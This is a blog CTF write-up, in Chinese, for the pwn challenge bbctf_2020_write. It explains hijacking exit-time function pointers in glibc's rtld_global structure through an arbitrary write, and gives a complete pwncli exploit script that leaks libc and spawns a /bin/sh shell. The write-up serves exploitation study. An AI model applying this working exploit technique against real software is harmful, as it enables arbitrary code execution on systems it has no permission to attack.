bbctf_2020_write
bbctf_2020_write
总结
题目可以任意地址写任意值,但是没有退出,因此可以考虑劫持rtld_global结构体中的一些函数指针。
- 利用exit函数的两个hook,同时观察寄存器状态,构造system("/bin/sh")拿shell。
- 这里出现的rtld_global结构体,可以伪造,可以修改。比如在house of banana中就能利用。远程中该结构体的低2字节需要爆破一下。两个函数指针的偏移分别为0xf00和0xf08。
Exp
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def write(addr:int, content:(str, bytes)):
    assert len(content) % 8 == 0, "len error!"
    for i in range(0, len(content), 8):
        p.sendlineafter("(q)uit\n", 'w')
        p.sendlineafter("ptr: ", str(addr + i))
        p.sendlineafter("val: ", str(u64(content[i:i+8])))
libc.address = int16((p.recvline()[6:-1]).decode()) - libc.sym['puts']
stack_addr = int16((p.recvline()[7:-1]).decode())
log_address("libc_base_addr", libc.address)
log_address("stack addr", stack_addr)
rtld_global_addr = libc.address +  0x619060
log_address("rtld_global_addr", rtld_global_addr)
write(rtld_global_addr+0x908, "/bin/sh\x00")
write(rtld_global_addr+0xf00, p64(libc.sym['system']))
p.sendlineafter("(q)uit\n", 'q')
p.interactive()
劫持效果如下:


引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15229796.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号